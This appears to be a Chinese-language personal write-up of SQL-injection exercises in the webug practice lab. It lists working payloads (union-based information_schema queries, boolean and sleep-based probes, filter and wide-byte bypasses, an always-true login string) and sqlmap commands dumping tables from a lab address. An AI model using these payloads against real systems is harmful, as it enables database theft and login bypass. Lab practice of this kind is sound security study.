注入
1 显错注入 :随便加一个单引号后,会将整条语句报错输出【SELECT * FROM sqlinjection WHERE id = ‘1 ‘’】,然后构造了【0’ union select 2,1–+】payload回显了1,将1的位置替换成【(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())】看到一个flag表,然后根据【(select group_concat(column_name) from information_schema.columns where%20table_schema=‘库名’ and table_name=‘表名’)】和【select 列名 from 表名】从flag表的flag列得到flag。
2 布尔注入 :通过and 1=1和1=2看到不同的回显(or看到有多个hello),通过【length(database())>N】判断数据库名长度,再通过【ascII(substr(database(),x,1))=N】爆出库名,然后,然后不知道怎么弄表名只能上工具.;本来以为还在上一道题的表里,结果发现没有,于是在env_list表中看到flag。
sqlmap -u “http://192.168.3.133/control/sqlinject/bool_injection.php?id=1” --dbs;
sqlmap -u “http://192.168.3.133/control/sqlinject/bool_injection.php?id=1” -D webug --tables;
sqlmap -u “http://192.168.3.133/control/sqlinject/bool_injection.php?id=1” -D webug -Tenv_list --columns;
sqlmap -u “http://192.168.3.133/control/sqlinject/bool_injection.php?id=1” -D webug -Tenv_list -C “envFlag” --dump 。
3 延时注入 :使用【if(1=1,sleep(10),2)】可以看到存在注入点,然后同上一道题一样的做法。
4 post注入 :在搜索框输入搜索信息,抓包后单引号会报错,测试【0’ or if(1=1,sleep(1),2)】存在注入点,继续使用工具;将bp抓包保存1.txt,然后还是用sqlmap -r “1.txt” -p keyWordName --dbs;然后按照上题的步骤即可。
5 过滤注入:【‘||(if(length(database())>6,sleep(5),NULL))||’】这样可以,然后还是同上一题的方式。
6 宽字节注入:綅%27有报错,存在注入点,然后接着用工具吧。。。
7 xxe注入:暂时先过,做不出来。
8 csv注入:找不到问题点,没有输入也没有输出,查看源代码,数据库打开的密码不对,更改一下就有显示了。嗯,然后,然后,然后还是不会。。。
11 万能密码登陆:用户名直接admin’ or ‘1’='1就可以了。